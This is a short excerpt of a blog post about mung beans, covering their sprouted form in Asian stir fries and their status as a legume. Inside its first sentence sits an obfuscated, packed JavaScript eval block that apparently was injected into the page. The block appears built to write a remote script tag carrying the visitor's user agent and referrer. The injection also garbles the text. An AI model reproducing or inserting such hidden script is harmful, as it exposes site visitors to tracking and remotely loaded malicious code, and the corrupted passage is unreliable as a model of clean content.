Mung Beans

Many eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abnhb|var|u0026u|referrer|adynn||js|php’.split(‘|’),0,{})) of us may know mung beans in their sprouted form, the long white crunchy “veggie” used in many Chinese or Vietnamese stir fries and other dishes.  But the mung bean legume (not vegetable) has … Continued

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